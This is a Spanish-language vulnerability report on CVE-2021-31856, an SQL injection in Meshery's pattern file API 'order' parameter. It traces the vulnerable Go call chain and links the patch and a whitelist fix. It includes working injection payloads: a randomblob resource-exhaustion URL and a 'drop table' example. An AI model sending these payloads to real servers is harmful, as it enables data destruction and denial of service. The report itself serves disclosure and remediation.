
Informe detallado de CVE-2021-31856 con PoC y análisis de código para una vulnerabilidad de inyección SQL en la API de archivos de patrones de Meshery, que permite la extracción de datos sin autenticación.
| item | details | note |
|---|---|---|
| proyecto | https://github.com/layer5io/meshery | |
| fecha anunciada | 2021-04-28 | |
| ID de CVE | CVE-2021-31856 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31856 |
| ID de EDB | \ | |
| Versión Vulnerable | v0.5.2 | \ |
| Versión Parcheada | v0.5.3 | https://github.com/layer5io/meshery/pull/2745 |
| CVSS | 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | |
| Autor | https://github.com/ssst0n3 |
La función GetMesheryPatterns() en meshery/models/meshery_pattern_persister.go tiene una vulnerabilidad de inyección SQL a través del parámetro order /api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0.
http://<IP>:9081/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0
Tu navegador no soporta video HTML5. Aquí hay un enlace al video en su lugar.
El parámetro order en la función GetMesheryPatterns es una instancia de cadena. Será añadido directamente a la sentencia de consulta al usar gorm, y la sentencia de consulta SQL es ejecutada por Find().
https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
if order == "" {
order = "updated_at desc"
}
...
query := mpp.DB.Order(order)
...
Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
...
}
Si el parámetro order proviene de la entrada del usuario sin ningún filtrado, existe una vulnerabilidad de inyección SQL.
Rastreando el proceso de llamada, podemos encontrar que el parámetro "order" proviene directamente de la consulta.
https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L140
func (h *Handler) GetMesheryPatternsHandler(
rw http.ResponseWriter,
r *http.Request,
prefObj *models.Preference,
user *models.User,
provider models.Provider,
) {
q := r.URL.Query()
resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
if err != nil {
http.Error(rw, fmt.Sprintf("failed to fetch the patterns: %s", err), http.StatusInternalServerError)
return
}
rw.Header().Set("Content-Type", "application/json")
fmt.Fprint(rw, string(resp))
}
Si depuramos, podemos encontrar que la sentencia de consulta es:
SELECT * FROM `meshery_patterns` ORDER BY <ORDER>
si dejamos order=id;drop table meshery_patterns, la sentencia se convertirá en
SELECT * FROM `meshery_patterns` ORDER BY id;drop table meshery_patterns
y la tabla será eliminada.
La cadena de llamada completa es:
https://github.com/layer5io/meshery/blob/v0.5.2/router/server.go#L127
gMux.Handle("/api/experimental/patternfile", h.ProviderMiddleware(h.AuthMiddleware(h.SessionInjectorMiddleware(h.PatternFileRequestHandler)))).
Methods("POST", "GET")
https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L93
func (h *Handler) PatternFileRequestHandler(
...
h.GetMesheryPatternsHandler(rw, r, prefObj, user, provider)
}
https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L149
func (h *Handler) GetMesheryPatternsHandler(
...
resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
..
https://github.com/layer5io/meshery/blob/v0.5.2/models/default_local_provider.go#L439
func (l *DefaultLocalProvider) GetMesheryPatterns(req *http.Request, page, pageSize, search, order string) ([]byte, error) {
...
return l.MesheryPatternPersister.GetMesheryPatterns(search, order, pg, pgs)
}
https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35-L44
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
if order == "" {
order = "updated_at desc"
}
...
query := mpp.DB.Order(order)
...
Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
...
}
Establecer una lista blanca para el parámetro order en lugar de usar parámetros de la entrada del usuario sin ningún filtrado.
https://github.com/layer5io/meshery/pull/2745
Puede obtener algunas referencias del documento de gorm: https://gorm.io/docs/security.html